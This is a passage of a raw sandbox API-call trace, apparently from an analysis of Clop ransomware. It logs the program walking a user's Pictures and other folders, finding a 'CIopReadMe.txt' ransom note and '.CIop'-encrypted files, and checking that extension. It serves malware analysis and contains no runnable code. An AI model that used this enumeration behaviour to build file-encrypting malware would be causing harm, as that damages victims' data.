lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6" [0118.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*" [0118.033] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\*.*", lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0x67dd78 [0118.033] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6") returned="7Luf9iKqys 6" [0118.033] lstrcpyW (in: lpString1=0x2dbc6c4, lpString2="7Luf9iKqys 6" | out: lpString1="7Luf9iKqys 6") returned="7Luf9iKqys 6" [0118.033] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0118.033] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.033] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0118.033] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 1 [0118.034] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dbd260 | out: lpFindFileData=0x2dbd260) returned 0 [0118.034] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.034] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.034] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.034] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 1 [0118.034] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dbee98 | out: lpFindFileData=0x2dbee98) returned 0 [0118.034] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0118.034] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0118.034] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.034] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0118.034] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0118.034] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0118.034] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0118.034] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0118.034] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0118.034] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.035] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.035] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.035] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0118.035] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0118.035] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.035] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0118.035] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0118.035] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.035] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.035] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.035] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.035] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.035] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2="..") returned 1 [0118.035] lstrcmpW (lpString1="bLdID5XJzq jCM", lpString2=".") returned 1 [0118.035] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0118.035] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0118.035] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0118.035] SetErrorMode (uMode=0x1) returned 0x1 [0118.035] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0118.035] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0118.035] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\" [0118.035] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0118.035] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67ddb8 [0118.036] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0118.036] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0118.036] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.036] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.036] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.036] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.036] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.036] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.036] lstrcmpW (lpString1="IwWqYwDX1-Oo2.gif.CIop", lpString2="..") returned 1 [0118.036] lstrcmpW (lpString1="IwWqYwDX1-Oo2.gif.CIop", lpString2=".") returned 1 [0118.036] lstrlenW (lpString=".CIop") returned 5 [0118.036] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.036] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0118.036] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0118.036] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM" [0118.036] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*" [0118.036] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e078 [0118.036] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0118.036] lstrcpyW (in: lpString1=0x2dc7014, lpString2="bLdID5XJzq jCM" | out: lpString1="bLdID5XJzq jCM") returned="bLdID5XJzq jCM" [0118.036] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.036] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.036] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.036] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.036] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.036] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0118.036] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0118.036] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.036] lstrcmpW (lpString1="Camera Roll", lpString2="..") returned 1 [0118.037] lstrcmpW (lpString1="Camera Roll", lpString2=".") returned 1 [0118.037] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0118.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0118.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0118.037] SetErrorMode (uMode=0x1) returned 0x1 [0118.037] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0118.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0118.037] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\" [0118.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0118.037] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0118.037] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0118.037] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0118.037] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.037] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.037] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.037] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.037] lstrlenW (lpString="desktop.ini") returned 11 [0118.037] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.037] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.037] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.037] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" [0118.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*" [0118.037] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67deb8 [0118.037] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll") returned="Camera Roll" [0118.037] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Camera Roll" | out: lpString1="Camera Roll") returned="Camera Roll" [0118.037] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.038] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.038] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.038] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.038] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0118.038] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0118.038] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.038] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.038] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.038] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.038] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.038] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1 [0118.038] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1 [0118.038] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0118.038] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0118.038] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0118.038] SetErrorMode (uMode=0x1) returned 0x1 [0118.038] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0118.038] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0118.038] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\" [0118.038] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0118.038] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dd78 [0118.038] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0118.038] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0118.038] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.038] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.038] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.038] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.038] lstrlenW (lpString="desktop.ini") returned 11 [0118.038] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.038] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.039] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.039] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" [0118.039] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*" [0118.039] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0118.039] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="Saved Pictures" [0118.039] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Saved Pictures" | out: lpString1="Saved Pictures") returned="Saved Pictures" [0118.039] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.039] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.039] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.039] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.039] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0118.039] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0118.039] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.039] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.039] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.039] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.039] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.039] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0118.039] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0118.040] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0118.040] SetErrorMode (uMode=0x1) returned 0x1 [0118.040] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0118.040] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0118.040] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.040] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0118.040] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0118.040] lstrlenW (lpString=".CIop") returned 5 [0118.040] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.040] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.040] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.040] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*" [0118.040] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.040] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="PrintHood" [0118.040] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0118.040] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.040] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.040] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.040] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.040] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0118.040] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0118.040] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.040] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent" 